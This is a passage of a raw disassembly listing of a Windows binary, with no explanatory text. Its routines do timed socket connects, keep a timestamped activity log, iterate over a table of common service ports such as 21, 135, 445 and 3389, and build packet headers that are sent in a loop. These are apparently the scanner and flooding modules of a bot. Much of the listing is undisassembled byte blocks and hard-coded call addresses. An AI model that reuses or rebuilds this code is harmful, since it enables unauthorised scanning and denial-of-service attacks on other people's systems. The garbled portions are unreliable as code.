add esi, eax
loc_414F3E: ; CODE XREF: ___:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022CAFh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B7CCE800h, 2B900227h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h
dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh
dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h
dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 69C55DE8h, 89669071h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh
dd 90006A14h, 2CAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h
dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh
dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h
dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h
dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh
dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 0CFE890FCh, 2B0227B2h, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
db 0ACh
byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h
dd 5F022CA9h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_4156FA
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: ___:004156E4j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB97C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB9BC
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: ___:00415757j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: ___:00415789j
; ___:004157ADj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: ___:00415763j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41578B
lea eax, [ebp-210h]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: ___:00415778j
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_415765
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: ___:004156F5j
; ___:0041575Cj ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h
dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h
dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh
dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh
dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h
dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h
dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0AC24E8FFh, 2B900227h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B267h
dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DB90[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBA8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EDC
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 2790000h
mov ebx, offset dword_4D35F4
mov edi, 80h
mov esi, offset dword_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F3C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: ___:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; ---------------------------------------------------------------------------
byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_437F6C
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: ___:00415E7Ej
cmp byte ptr [ebp-98h], 0
jz short loc_415EBE
lea eax, [ebp-98h]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415EBE
mov [ebp-8], eax
loc_415EBE: ; CODE XREF: ___:00415EA5j
; ___:00415EB9j
and dword ptr [ebp+8], 0
mov esi, offset dword_4CF5F4
loc_415EC7: ; CODE XREF: ___:00415F1Fj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp byte ptr [ebp-98h], 0
jz short loc_415EF6
cmp dword ptr [ebp-4], 0
jnz short loc_415EF6
lea eax, [ebp-98h]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: ___:00415EDBj
; ___:00415EE1j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: ___:00415ED2j
; ___:00415EF4j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: ___:00415ECDj
lea eax, [ebp-31Ch]
push offset dword_437F50
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: ___:00415F39j
lea eax, [ebp-31Ch]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 22CA088h
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: ___:0041661Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; ---------------------------------------------------------------------------
dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: sub_401ACD+A02o
dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 6DE89056h
dd 68022C9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
dd 5659FFFFh, 2C9F03E8h, 646A9002h, 0AD91E890h, 0FF330225h
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h
dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
dd 0AD39E890h, 0A6A0225h, 0FF549DE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h
dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
dd 2C9E3FE8h
db 2
; ---------------------------------------------------------------------------
loc_4161C1: ; DATA XREF: sub_401ACD+7696o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: ___:00416203j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB9D4
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CBA00
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: ___:00416241j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB978
push dword ptr [ebp-2Eh]
call dword_4CB904
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: ___:004162B0j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: ___:0041628Bj
movsx eax, al
loc_416295: ; CODE XREF: ___:00416290j
mov [ebp+ecx-604h], al
